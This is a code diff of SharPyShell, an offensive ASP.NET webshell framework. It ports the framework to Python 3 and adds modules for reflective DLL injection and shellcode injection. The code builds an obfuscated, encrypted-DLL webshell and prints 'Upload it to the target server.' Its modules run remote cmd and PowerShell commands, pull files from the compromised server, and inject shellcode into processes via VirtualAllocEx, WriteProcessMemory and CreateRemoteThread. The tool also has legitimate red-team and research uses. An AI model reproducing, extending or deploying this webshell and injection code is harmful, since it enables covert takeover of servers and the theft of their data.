if '{{{ClearDirectoriesException}}}' not in result:
|
||||||
result = format_output(result)
|
result = format_output(result)
|
||||||
|
|||||||
+16
-17
@@ -1,8 +1,10 @@
|
|||||||
from core import config
|
from core import config
|
||||||
from struct import unpack
|
from struct import unpack
|
||||||
|
from itertools import cycle
|
||||||
import hashlib
|
import hashlib
|
||||||
import random
|
import random
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
|
||||||
class Generate():
|
class Generate():
|
||||||
|
|
||||||
@@ -11,11 +13,12 @@ class Generate():
|
|||||||
__obfuscator = ''
|
__obfuscator = ''
|
||||||
__endian_type = ''
|
__endian_type = ''
|
||||||
|
|
||||||
__templates_path = config.sharpyshell_path+'agent/'
|
__templates_path = config.sharpyshell_path+'agent'+os.sep
|
||||||
__runtime_compiler_path = __templates_path + 'runtime_compiler/'
|
__runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
|
||||||
__output_path = config.output_path + 'sharpyshell.aspx'
|
__output_path = config.output_path + 'sharpyshell.aspx'
|
||||||
|
|
||||||
def __init__(self, password, encryption, obfuscator, endian_type, output):
|
def __init__(self, password, encryption, obfuscator, endian_type, output):
|
||||||
|
password = password.encode('utf-8')
|
||||||
if encryption == 'aes128':
|
if encryption == 'aes128':
|
||||||
self.__password = hashlib.md5(password).hexdigest()
|
self.__password = hashlib.md5(password).hexdigest()
|
||||||
else:
|
else:
|
||||||
@@ -41,15 +44,12 @@ class Generate():
|
|||||||
|
|
||||||
def __generate_webshell_code_encrypted_dll(self, template_code):
|
def __generate_webshell_code_encrypted_dll(self, template_code):
|
||||||
def xor_file(path, key):
|
def xor_file(path, key):
|
||||||
with open(path, 'rb') as file_handle:
|
with io.open(path, mode='rb') as file_handle:
|
||||||
plain_data = file_handle.read()
|
plain_data = file_handle.read()
|
||||||
from itertools import izip, cycle
|
xored = []
|
||||||
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
|
for (x, y) in list(zip(plain_data, cycle(key))):
|
||||||
return bytearray(xored)
|
xored.append(hex(x ^ ord(y)))
|
||||||
|
return '{' + ",".join(xored) + '}'
|
||||||
def generate_byte_file_string(byte_arr):
|
|
||||||
output = [str(hex(byte)) for byte in byte_arr]
|
|
||||||
return '{' + ",".join(output) + '}'
|
|
||||||
|
|
||||||
if 'aes' in self.__encryption:
|
if 'aes' in self.__encryption:
|
||||||
dll_name = 'runtime_compiler_aes.dll'
|
dll_name = 'runtime_compiler_aes.dll'
|
||||||
@@ -57,14 +57,13 @@ class Generate():
|
|||||||
dll_name = 'runtime_compiler_xor.dll'
|
dll_name = 'runtime_compiler_xor.dll'
|
||||||
runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
|
runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
|
||||||
obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
|
obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
|
||||||
obfuscated_dll_string = generate_byte_file_string(obfuscated_dll)
|
|
||||||
webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
|
webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
|
||||||
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll_string)
|
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll)
|
||||||
return webshell_code
|
return webshell_code
|
||||||
|
|
||||||
def __generate_webshell_code_ulong_compression(self, template_code):
|
def __generate_webshell_code_ulong_compression(self, template_code):
|
||||||
def get_dll_code(dll_code_path):
|
def get_dll_code(dll_code_path):
|
||||||
with open(dll_code_path, 'r') as file_handle:
|
with open(dll_code_path, 'rb') as file_handle:
|
||||||
dll_code = file_handle.read()
|
dll_code = file_handle.read()
|
||||||
return dll_code
|
return dll_code
|
||||||
|
|
||||||
@@ -79,7 +78,7 @@ class Generate():
|
|||||||
representation = '='
|
representation = '='
|
||||||
for i in range(0, len(dll_code), 8):
|
for i in range(0, len(dll_code), 8):
|
||||||
int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
|
int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
|
||||||
ulong_quotients.append(str(int_conversion / divisor))
|
ulong_quotients.append(str(int_conversion // divisor))
|
||||||
ulong_remainders.append(str(int_conversion % divisor))
|
ulong_remainders.append(str(int_conversion % divisor))
|
||||||
ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
|
ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
|
||||||
ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
|
ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
|
||||||
@@ -109,5 +108,5 @@ class Generate():
|
|||||||
webshell_output_path = self.__output_path
|
webshell_output_path = self.__output_path
|
||||||
with open(webshell_output_path, 'w') as file_handle:
|
with open(webshell_output_path, 'w') as file_handle:
|
||||||
file_handle.write(webshell_code)
|
file_handle.write(webshell_code)
|
||||||
print 'SharPyShell webshell written correctly to: ' + webshell_output_path
|
print ('SharPyShell webshell written correctly to: ' + webshell_output_path)
|
||||||
print '\nUpload it to the target server and let\'s start having some fun :) \n\n'
|
print ('\nUpload it to the target server and let\'s start having some fun :) \n\n')
|
||||||
|
|||||||
+6
-5
@@ -20,7 +20,7 @@ class Module(Singleton):
|
|||||||
"""
|
"""
|
||||||
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
|
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
|
||||||
function will be the code run on the server and it must return results in byte[] type '''
|
function will be the code run on the server and it must return results in byte[] type '''
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
@@ -56,17 +56,17 @@ class Module(Singleton):
|
|||||||
# End Override this method
|
# End Override this method
|
||||||
|
|
||||||
def _encrypt_request(self, request_clear):
|
def _encrypt_request(self, request_clear):
|
||||||
request_encrypted = self._channel_enc_obj.encrypt(request_clear)
|
request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
|
||||||
request_encrypted_encoded = base64.b64encode(request_encrypted)
|
request_encrypted_encoded = base64.b64encode(request_encrypted)
|
||||||
return request_encrypted_encoded
|
return request_encrypted_encoded.decode()
|
||||||
|
|
||||||
def _post_request(self, request_encrypted_encoded):
|
def _post_request(self, request_encrypted_encoded):
|
||||||
response_status_code, response_headers, response_text = \
|
response_status_code, response_headers, response_text = \
|
||||||
self._request_object.send_request(request_encrypted_encoded)
|
self._request_object.send_request(request_encrypted_encoded)
|
||||||
if response_status_code != 200:
|
if response_status_code != 200:
|
||||||
raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}\n' +
|
raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
|
||||||
str(response_headers) + '\n\n' +
|
str(response_headers) + '\n\n' +
|
||||||
response_text)
|
str(response_text))
|
||||||
return response_text
|
return response_text
|
||||||
|
|
||||||
def _decrypt_response(self, encrypted_response_encoded):
|
def _decrypt_response(self, encrypted_response_encoded):
|
||||||
@@ -75,6 +75,7 @@ class Module(Singleton):
|
|||||||
return response_clear
|
return response_clear
|
||||||
|
|
||||||
def _parse_response(self, response):
|
def _parse_response(self, response):
|
||||||
|
response = response.decode() if isinstance(response, bytes) else response
|
||||||
if '{{{' + self._exception_class.__name__ + '}}}' in response:
|
if '{{{' + self._exception_class.__name__ + '}}}' in response:
|
||||||
raise self._exception_class(str(response))
|
raise self._exception_class(str(response))
|
||||||
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:
|
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:
|
||||||
|
|||||||
+4
-3
@@ -1,4 +1,5 @@
|
|||||||
from utils.Singleton import Singleton
|
from utils.Singleton import Singleton
|
||||||
|
from utils.Singleton import Singleton
|
||||||
import ssl
|
import ssl
|
||||||
import urllib3
|
import urllib3
|
||||||
from urllib3.contrib.socks import SOCKSProxyManager
|
from urllib3.contrib.socks import SOCKSProxyManager
|
||||||
@@ -29,13 +30,13 @@ class Request(Singleton):
|
|||||||
if proxy:
|
if proxy:
|
||||||
proxy_type = proxy.split('://')[0]
|
proxy_type = proxy.split('://')[0]
|
||||||
if proxy_type == 'http' or proxy_type == 'https':
|
if proxy_type == 'http' or proxy_type == 'https':
|
||||||
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
|
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
|
||||||
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
||||||
else:
|
else:
|
||||||
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
|
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
|
||||||
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
timeout=self.__request_timeout, cert_reqs=self.__verify)
|
||||||
else:
|
else:
|
||||||
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLSv1, timeout=self.__request_timeout,
|
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLS_CLIENT, timeout=self.__request_timeout,
|
||||||
cert_reqs=self.__verify)
|
cert_reqs=self.__verify)
|
||||||
# print (vars(self))
|
# print (vars(self))
|
||||||
|
|
||||||
|
|||||||
+24
-18
@@ -1,11 +1,13 @@
|
|||||||
import config
|
from core import config
|
||||||
from cmd import Cmd
|
from cmd import Cmd
|
||||||
import os
|
import os
|
||||||
import glob
|
import glob
|
||||||
import sys
|
import sys
|
||||||
|
import importlib
|
||||||
import shlex
|
import shlex
|
||||||
import hashlib
|
import hashlib
|
||||||
import signal
|
import signal
|
||||||
|
import platform
|
||||||
from utils import prettify
|
from utils import prettify
|
||||||
from utils.normalize_args import normalize_args
|
from utils.normalize_args import normalize_args
|
||||||
from utils.random_string import random_generator
|
from utils.random_string import random_generator
|
||||||
@@ -28,8 +30,12 @@ class SharPyShellPrompt(Cmd):
|
|||||||
|
|
||||||
def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
|
def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
|
||||||
cookies, custom_headers, insecure_ssl, proxy):
|
cookies, custom_headers, insecure_ssl, proxy):
|
||||||
reload(sys)
|
importlib.reload(sys)
|
||||||
sys.setdefaultencoding('utf8')
|
#sys.setdefaultencoding('utf8')
|
||||||
|
password = password.encode('utf-8')
|
||||||
|
if platform.system() == 'Windows':
|
||||||
|
signal.signal(signal.SIGTERM, lambda s, f: self.do_quit())
|
||||||
|
else:
|
||||||
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
|
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
|
||||||
Cmd.__init__(self)
|
Cmd.__init__(self)
|
||||||
if channel_enc_mode == 'aes128':
|
if channel_enc_mode == 'aes128':
|
||||||
@@ -80,7 +86,7 @@ class SharPyShellPrompt(Cmd):
|
|||||||
return self.emptyline()
|
return self.emptyline()
|
||||||
if cmd.startswith('#'):
|
if cmd.startswith('#'):
|
||||||
response = self.onecmd_custom(cmd.lstrip('#'), args)
|
response = self.onecmd_custom(cmd.lstrip('#'), args)
|
||||||
print response
|
print (response)
|
||||||
return response
|
return response
|
||||||
if cmd in self.helper_commands:
|
if cmd in self.helper_commands:
|
||||||
func = getattr(self, 'do_' + cmd.lstrip('#'))
|
func = getattr(self, 'do_' + cmd.lstrip('#'))
|
||||||
@@ -113,7 +119,7 @@ class SharPyShellPrompt(Cmd):
|
|||||||
"""Change the current working directory."""
|
"""Change the current working directory."""
|
||||||
working_directory = self.modules_settings['working_directory']
|
working_directory = self.modules_settings['working_directory']
|
||||||
if arg == "" or arg == " " or arg == '.':
|
if arg == "" or arg == " " or arg == '.':
|
||||||
print working_directory
|
print (working_directory)
|
||||||
return
|
return
|
||||||
if arg == '..':
|
if arg == '..':
|
||||||
arg = working_directory.split('\\')
|
arg = working_directory.split('\\')
|
||||||
@@ -127,7 +133,7 @@ class SharPyShellPrompt(Cmd):
|
|||||||
elif len(arg) > 0:
|
elif len(arg) > 0:
|
||||||
arg = '\\'.join(arg)
|
arg = '\\'.join(arg)
|
||||||
else:
|
else:
|
||||||
print "Empty Path."
|
print ("Empty Path.")
|
||||||
return
|
return
|
||||||
else:
|
else:
|
||||||
if '/' in arg:
|
if '/' in arg:
|
||||||
@@ -143,25 +149,25 @@ class SharPyShellPrompt(Cmd):
|
|||||||
if '{{{SharPyShellError}}}' not in response:
|
if '{{{SharPyShellError}}}' not in response:
|
||||||
self.modules_settings['working_directory'] = arg
|
self.modules_settings['working_directory'] = arg
|
||||||
else:
|
else:
|
||||||
print response
|
print (response)
|
||||||
return response
|
return response
|
||||||
|
|
||||||
def do_help(self, arg):
|
def do_help(self, arg):
|
||||||
"""List available commands."""
|
"""List available commands."""
|
||||||
if arg and arg.lstrip('#') in self.modules_loaded_tree:
|
if arg and arg.lstrip('#') in self.modules_loaded_tree:
|
||||||
print self.modules_loaded[arg.lstrip('#')].complete_help
|
print (self.modules_loaded[arg.lstrip('#')].complete_help)
|
||||||
else:
|
else:
|
||||||
print "\n\n" + self.doc_header + "\n"
|
print ("\n\n" + self.doc_header + "\n")
|
||||||
data = [['\nCommands\n', '\nDesc\n']]
|
data = [['\nCommands\n', '\nDesc\n']]
|
||||||
for module_name in sorted(self.modules_loaded_tree):
|
for module_name in sorted(self.modules_loaded_tree):
|
||||||
data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
|
data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
|
||||||
print prettify.tablify(data, table_border=False)
|
print (prettify.tablify(data, table_border=False))
|
||||||
print
|
print
|
||||||
print "\n" + "SharPyShell Helper Commands:" + "\n"
|
print ("\n" + "SharPyShell Helper Commands:" + "\n")
|
||||||
data = [['\nCommands\n', '\nDesc\n']]
|
data = [['\nCommands\n', '\nDesc\n']]
|
||||||
for module_name in sorted(self.helper_commands):
|
for module_name in sorted(self.helper_commands):
|
||||||
data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
|
data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
|
||||||
print prettify.tablify(data, table_border=False)
|
print (prettify.tablify(data, table_border=False))
|
||||||
print
|
print
|
||||||
|
|
||||||
def complete_help(self, text, line, start_index, end_index):
|
def complete_help(self, text, line, start_index, end_index):
|
||||||
@@ -217,10 +223,10 @@ class SharPyShellPrompt(Cmd):
|
|||||||
return
|
return
|
||||||
# Clean trailing newline if existent to prettify output
|
# Clean trailing newline if existent to prettify output
|
||||||
result = result[:-1] if (
|
result = result[:-1] if (
|
||||||
isinstance(result, basestring) and
|
isinstance(result, str) and
|
||||||
result.endswith('\n')
|
result.endswith('\n')
|
||||||
) else result
|
) else result
|
||||||
print result
|
print (result)
|
||||||
|
|
||||||
def cmdloop(self, intro=None):
|
def cmdloop(self, intro=None):
|
||||||
"""Repeatedly issue a prompt, accept input, parse an initial prefix
|
"""Repeatedly issue a prompt, accept input, parse an initial prefix
|
||||||
@@ -251,7 +257,7 @@ class SharPyShellPrompt(Cmd):
|
|||||||
else:
|
else:
|
||||||
if self.use_rawinput:
|
if self.use_rawinput:
|
||||||
try:
|
try:
|
||||||
line = raw_input(self.prompt)
|
line = input(self.prompt)
|
||||||
except EOFError:
|
except EOFError:
|
||||||
line = 'EOF'
|
line = 'EOF'
|
||||||
else:
|
else:
|
||||||
@@ -279,10 +285,10 @@ class SharPyShellPrompt(Cmd):
|
|||||||
def do_quit(self, args=[]):
|
def do_quit(self, args=[]):
|
||||||
"""Quit the program."""
|
"""Quit the program."""
|
||||||
if self.online:
|
if self.online:
|
||||||
print "\n\nQuitting...\n"
|
print ("\n\nQuitting...\n")
|
||||||
print self.env_obj.clear_env(self.modules_settings)
|
print (self.env_obj.clear_env(self.modules_settings))
|
||||||
else:
|
else:
|
||||||
print args[0] + "\n\n\nTarget Offline...\n"
|
print (args[0] + "\n\n\nTarget Offline...\n")
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
def do_exit(self, args=[]):
|
def do_exit(self, args=[]):
|
||||||
|
|||||||
+4
-4
@@ -1,7 +1,7 @@
|
|||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
|
||||||
sharpyshell_version='1.0'
|
sharpyshell_version='1.3'
|
||||||
|
|
||||||
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
|
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
|
||||||
banner = """
|
banner = """
|
||||||
@@ -19,7 +19,7 @@ banner = """
|
|||||||
|
|
||||||
""" % header
|
""" % header
|
||||||
|
|
||||||
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
|
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep
|
||||||
sys.path.insert(0, sharpyshell_path)
|
sys.path.insert(0, sharpyshell_path)
|
||||||
modules_paths=sharpyshell_path + 'modules/'
|
modules_paths=sharpyshell_path + 'modules' + os.sep
|
||||||
output_path=sharpyshell_path + 'output/'
|
output_path=sharpyshell_path + 'output' + os.sep
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
+14
-7
@@ -2,6 +2,7 @@ from core.Module import Module, ModuleException
|
|||||||
from core import config
|
from core import config
|
||||||
import ntpath
|
import ntpath
|
||||||
import traceback
|
import traceback
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
|
||||||
class DownloadModuleException(ModuleException):
|
class DownloadModuleException(ModuleException):
|
||||||
@@ -23,7 +24,7 @@ class Download(Module):
|
|||||||
Positional arguments:
|
Positional arguments:
|
||||||
remote_input_path The file path you want to download from the remote server
|
remote_input_path The file path you want to download from the remote server
|
||||||
local_output_path The path where the file will be saved on your local machine
|
local_output_path The path where the file will be saved on your local machine
|
||||||
Default: 'output/' directory of Sharpyshell directory
|
Default: 'output' directory of Sharpyshell directory
|
||||||
chunk_size The maximum limit of a chunk to be transferred over the network
|
chunk_size The maximum limit of a chunk to be transferred over the network
|
||||||
Default: 102400
|
Default: 102400
|
||||||
|
|
||||||
@@ -36,7 +37,7 @@ class Download(Module):
|
|||||||
#download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024
|
#download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
public byte[] Download(string arg){
|
public byte[] Download(string arg){
|
||||||
@@ -56,7 +57,7 @@ class Download(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__runtime_code_split_file = ur"""
|
__runtime_code_split_file = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
public byte[] Download(string arg, int chunk, int offset){
|
public byte[] Download(string arg, int chunk, int offset){
|
||||||
@@ -79,7 +80,7 @@ class Download(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__runtime_code_get_file_size = ur"""
|
__runtime_code_get_file_size = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
string GetFileSize(string path){
|
string GetFileSize(string path){
|
||||||
@@ -115,6 +116,12 @@ class Download(Module):
|
|||||||
file_open_mode = 'ab'
|
file_open_mode = 'ab'
|
||||||
else:
|
else:
|
||||||
file_open_mode = 'wb'
|
file_open_mode = 'wb'
|
||||||
|
try:
|
||||||
|
with open(output_path, file_open_mode) as outfile:
|
||||||
|
outfile.write(file_content)
|
||||||
|
# tune for Windows race condition on file access when the chunk_size is very small, weird...
|
||||||
|
except PermissionError:
|
||||||
|
sleep(1)
|
||||||
with open(output_path, file_open_mode) as outfile:
|
with open(output_path, file_open_mode) as outfile:
|
||||||
outfile.write(file_content)
|
outfile.write(file_content)
|
||||||
output = "File Downloaded correctly to " + output_path
|
output = "File Downloaded correctly to " + output_path
|
||||||
@@ -163,11 +170,11 @@ class Download(Module):
|
|||||||
encrypted_request = self._encrypt_request(req)
|
encrypted_request = self._encrypt_request(req)
|
||||||
encrypted_response = self._post_request(encrypted_request)
|
encrypted_response = self._post_request(encrypted_request)
|
||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
decrypted_response = self._decrypt_response(encrypted_response)
|
||||||
file_content = self._parse_response(decrypted_response)
|
file_content = decrypted_response
|
||||||
if len(requests) > 1:
|
if len(requests) > 1:
|
||||||
parsed_response = self.__write_local_file(file_content, download_output_path, split=True)
|
parsed_response = self.__write_local_file(file_content, download_output_path, split=True)
|
||||||
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
|
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
|
||||||
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path
|
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path)
|
||||||
else:
|
else:
|
||||||
parsed_response = self.__write_local_file(file_content, download_output_path)
|
parsed_response = self.__write_local_file(file_content, download_output_path)
|
||||||
except ModuleException as module_exc:
|
except ModuleException as module_exc:
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
+1
-1
@@ -30,7 +30,7 @@ class Exec_cmd(Module):
|
|||||||
#exec_cmd echo test > C:\Windows\Temp\test.txt
|
#exec_cmd echo test > C:\Windows\Temp\test.txt
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
|
|||||||
+2
-2
@@ -32,7 +32,7 @@ class Exec_ps(Module):
|
|||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell
|
public class SharPyShell
|
||||||
{
|
{
|
||||||
@@ -80,7 +80,7 @@ class Exec_ps(Module):
|
|||||||
if '""' in cmd:
|
if '""' in cmd:
|
||||||
cmd = cmd.replace('""', '"')
|
cmd = cmd.replace('""', '"')
|
||||||
cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
|
cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
|
||||||
cmd = b64encode(cmd.encode('UTF-16LE'))
|
cmd = str(b64encode(cmd.encode('UTF-16LE')), 'UTF-8')
|
||||||
working_path = self._module_settings['working_directory']
|
working_path = self._module_settings['working_directory']
|
||||||
return self._runtime_code % (cmd, working_path)
|
return self._runtime_code % (cmd, working_path)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,76 @@
|
|||||||
|
from modules.inject_shellcode import Inject_shellcode, ModuleException
|
||||||
|
from core import config
|
||||||
|
from utils import gzip_utils
|
||||||
|
import pefile
|
||||||
|
|
||||||
|
|
||||||
|
class InjectDllReflectiveModuleException(ModuleException):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Inject_dll_reflective(Inject_shellcode):
|
||||||
|
_exception_class = InjectDllReflectiveModuleException
|
||||||
|
short_help = "Inject a reflective DLL in a new (or existing) process"
|
||||||
|
complete_help = r"""
|
||||||
|
Author: @stephenfewer
|
||||||
|
Links: https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||||
|
|
||||||
|
|
||||||
|
Inject a reflective DLL into a remote process.
|
||||||
|
You can choose to create a new process or use a pid of an existing process as a host process.
|
||||||
|
The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
|
||||||
|
The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
|
||||||
|
at runtime.
|
||||||
|
You can use one of the following supported injection techniques:
|
||||||
|
- remote_virtual: classic injection:
|
||||||
|
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
|
||||||
|
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
|
||||||
|
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
|
||||||
|
Note that when you try to inject into an existing process you should ensure you have the rights to open
|
||||||
|
a handle to that process otherwise the injection cannot be performed.
|
||||||
|
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
#inject_dll_reflective dll_path [injection_type] [remote_process]
|
||||||
|
|
||||||
|
Positional arguments:
|
||||||
|
dll_path name of a .dll module in the 'reflective_dll/' directory
|
||||||
|
the DLL must contain a ReflectiveLoader exported function
|
||||||
|
injection_type the process injection method to use for injecting shellcode
|
||||||
|
Allowed values: 'remote_virtual', 'remote_virtual_protect'
|
||||||
|
Default: 'remote_virtual'
|
||||||
|
remote_process path to an executable to spawn as a host process for the shellcode
|
||||||
|
if you pass a pid it will try to inject into an existing running process
|
||||||
|
Default: 'cmd.exe'
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
Inject a messagebox reflective DLL into an existing process:
|
||||||
|
#inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __get_reflective_loader_offset(self, dll_path):
|
||||||
|
pe_parser = pefile.PE(dll_path)
|
||||||
|
for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
|
||||||
|
if 'ReflectiveLoader' in str(exported_function.name):
|
||||||
|
reflective_loader_rva = exported_function.address
|
||||||
|
return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
|
||||||
|
raise self._exception_class('The DLL does not contain a reflective loader function.\n')
|
||||||
|
|
||||||
|
def _create_request(self, args):
|
||||||
|
dll_path, injection_type, remote_process,\
|
||||||
|
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
|
||||||
|
dll_path = config.modules_paths + 'reflective_dll/' + dll_path
|
||||||
|
code_offset = str(self.__get_reflective_loader_offset(dll_path))
|
||||||
|
with open(dll_path, 'rb') as file_handle:
|
||||||
|
byte_arr = file_handle.read()
|
||||||
|
base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
|
||||||
|
if injection_type == 'remote_virtual_protect':
|
||||||
|
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
|
||||||
|
thread_parameters, remote_process,
|
||||||
|
thread_timeout, code_offset)
|
||||||
|
else:
|
||||||
|
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
|
||||||
|
thread_parameters, remote_process,
|
||||||
|
thread_timeout, code_offset)
|
||||||
|
return runtime_code
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,300 @@
|
|||||||
|
from core.Module import Module, ModuleException
|
||||||
|
from utils import gzip_utils
|
||||||
|
|
||||||
|
|
||||||
|
class InjectShellcodeModuleException(ModuleException):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Inject_shellcode(Module):
|
||||||
|
_exception_class = InjectShellcodeModuleException
|
||||||
|
short_help = "Inject shellcode in a new (or existing) process"
|
||||||
|
complete_help = r"""
|
||||||
|
This module allow to inject your shellcode in a host process.
|
||||||
|
You can choose to create a new process or use a pid of an existing process as a host process.
|
||||||
|
If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw.
|
||||||
|
You can use one of the following supported injection techniques:
|
||||||
|
|
||||||
|
- remote_virtual: classic injection:
|
||||||
|
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
|
||||||
|
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
|
||||||
|
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
|
||||||
|
|
||||||
|
Note that when you try to inject into an existing process you should ensure you have the rights to open
|
||||||
|
a handle to that process otherwise the injection cannot be performed.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
#inject_shellcode shellcode_path [injection_type] [remote_process]
|
||||||
|
|
||||||
|
Positional arguments:
|
||||||
|
shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw)
|
||||||
|
injection_type the process injection method to use for injecting shellcode
|
||||||
|
Allowed values: 'remote_virtual', 'remote_virtual_protect'
|
||||||
|
Default: 'remote_virtual'
|
||||||
|
remote_process path to an executable to spawn as a host process for the DLL code
|
||||||
|
if you pass a pid it will try to inject into an existing running process
|
||||||
|
Default: 'cmd.exe'
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
Inject generated shellcode:
|
||||||
|
#inject_shellcode /path/to/shellcode
|
||||||
|
Inject shellcode with specific injection type:
|
||||||
|
#inject_shellcode /path/to/shellcode 'remote_virtual_protect'
|
||||||
|
Inject shellcode into an existing process
|
||||||
|
#inject_shellcode /path/to/shellcode 'remote_virtual' '1550'
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
_runtime_code = r"""
|
||||||
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
|
